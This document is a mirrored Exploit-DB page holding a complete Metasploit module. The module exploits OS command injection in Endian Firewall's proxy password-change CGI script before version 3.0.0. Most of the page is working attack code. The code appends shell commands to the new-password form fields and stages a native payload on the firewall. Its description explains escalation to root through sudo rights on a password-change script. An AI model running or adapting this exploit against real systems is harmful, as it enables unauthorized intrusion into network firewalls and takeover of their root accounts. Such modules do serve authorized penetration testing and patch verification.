Endian Firewall < 3.0.0 - OS Command Injection (Metasploit)

  • 作者: Ben Lincoln
    日期: 2015-06-29
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/37428/
  • ##
    # This module requires Metasploit: http://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    require 'msf/core'
    
    class Metasploit4 < Msf::Exploit::Remote
    
    include Msf::Exploit::Remote::HttpClient
    include Msf::Exploit::CmdStager
    
    def initialize(info = {})
    super(update_info(info,
    'Name' => 'Endian Firewall < 3.0.0 Proxy Password Change Command Injection',
    'Description' => %q{
    This module exploits an OS command injection vulnerability in a 
    web-accessible CGI script used to change passwords for locally-defined
    proxy user accounts. Valid credentials for such an account are 
    required.
    Command execution will be in the context of the "nobody" account, but 
    on versions of EFW I tested, this account had broad sudo permissions, 
    including to run the script /usr/local/bin/chrootpasswd as root. This 
    script changes the password for the Linux root account on the system 
    to the value specified by console input once it is executed.
    The password for the proxy user account specified will *not* be 
    changed by the use of this module, as long as the target system is 
    vulnerable to the exploit.
    Very early versions of Endian Firewall (e.g. 1.1 RC5) require
    HTTP basic auth credentials as well to exploit this vulnerability.
    Use the standard USERNAME and PASSWORD advanced options to specify
    these values if required.
    Versions >= 3.0.0 still contain the vulnerable code, but it appears to 
    never be executed due to a bug in the vulnerable CGI script which also
    prevents normal use.
    Tested successfully against the following versions of EFW Community:
    1.1 RC5, 2.0, 2.1, 2.5.1, 2.5.2.
    	Used Apache mod_cgi Bash Environment Variable Code Injection 
    	and Novell ZENworks Configuration Management Remote Execution
    	modules	as templates.
    },
    'Author' => [
    	'Ben Lincoln' # Vulnerability discovery, exploit, Metasploit module
    ],
    'References' => [
    #['CVE', ''],
    #['OSVDB', ''],
    #['EDB', ''],
    ['URL', 'http://jira.endian.com/browse/COMMUNITY-136']
    ],
    'Privileged'=> false,
    'Platform'=> %w{ linux },
    'Payload'=>
    {
    'BadChars' => "\x00\x0a\x0d",
    'DisableNops' => true,
    'Space' => 2048
    },
    'Targets'=>
    [
    [ 'Linux x86',
    {
    'Platform'=> 'linux',
    'Arch'=> ARCH_X86,
    'CmdStagerFlavor' => [ :echo, :printf ]
    }
    ],
    [ 'Linux x86_64',
    {
    'Platform'=> 'linux',
    'Arch'=> ARCH_X86_64,
    'CmdStagerFlavor' => [ :echo, :printf ]
    }
    ]
    ],
    'DefaultOptions' =>
    {
    'SSL' => true,
    'RPORT' => 10443
    },
    'DefaultTarget' => 0,
    'DisclosureDate' => 'Jun 28 2015',
    'License' => MSF_LICENSE
    ))
    
    register_options([
    OptString.new('TARGETURI', [true, 'Path to chpasswd.cgi CGI script', 
    '/cgi-bin/chpasswd.cgi']),
    OptString.new('EFW_USERNAME', [true, 
    'Valid proxy account username for the target system']),
    OptString.new('EFW_PASSWORD', [true, 
    'Valid password for the proxy user account']),
    OptInt.new('CMD_MAX_LENGTH', [true, 'CMD max line length', 200]),
    OptString.new('RPATH', [true, 
    'Target PATH for binaries used by the CmdStager', '/bin']),
    OptInt.new('TIMEOUT', [true, 'HTTP read response timeout (seconds)', 10])
     ], self.class)
    end
    
    def exploit
    # Cannot use generic/shell_reverse_tcp inside an elf
    # Checking before proceeds
    if generate_payload_exe.blank?
    fail_with(Failure::BadConfig, 
    "#{peer} - Failed to store payload inside executable, " + 
    "please select a native payload")
    end
    
    execute_cmdstager(:linemax => datastore['CMD_MAX_LENGTH'], 
    :nodelete => true)
    end
    
    def execute_command(cmd, opts)
    cmd.gsub!('chmod', "#{datastore['RPATH']}/chmod")
    
    req(cmd)
    end
    
    def req(cmd)
    sploit = "#{datastore['EFW_PASSWORD']}; #{cmd};"
    
    boundary = "----#{rand_text_alpha(34)}"
    data = "--#{boundary}\r\n"
    data << "Content-Disposition: form-data; name=\"ACTION\"\r\n\r\n"
    data << "change\r\n"
    data << "--#{boundary}\r\n"
    data << "Content-Disposition: form-data; name=\"USERNAME\"\r\n\r\n"
    data << "#{datastore['EFW_USERNAME']}\r\n"
    data << "--#{boundary}\r\n"
    data << "Content-Disposition: form-data; name=\"OLD_PASSWORD\"\r\n\r\n"
    data << "#{datastore['EFW_PASSWORD']}\r\n"
    data << "--#{boundary}\r\n"
    data << "Content-Disposition: form-data; name=\"NEW_PASSWORD_1\"\r\n\r\n"
    data << "#{sploit}\r\n"
    data << "--#{boundary}\r\n"
    data << "Content-Disposition: form-data; name=\"NEW_PASSWORD_2\"\r\n\r\n"
    data << "#{sploit}\r\n"
    data << "--#{boundary}\r\n"
    data << "Content-Disposition: form-data; name=\"SUBMIT\"\r\n\r\n"
    data << "Change password\r\n"
    data << "--#{boundary}--\r\n"
    
    refererUrl = 
    "https://#{datastore['RHOST']}:#{datastore['RPORT']}" + 
    "#{datastore['TARGETURI']}"
    
    send_request_cgi(
    {
    'method' => 'POST',
    'uri' => datastore['TARGETURI'],
    	'ctype' => "multipart/form-data; boundary=#{boundary}",
    'headers' => {
    'Referer' => refererUrl
    },
    'data' => data
    }, datastore['TIMEOUT'])
    
    end
    
    end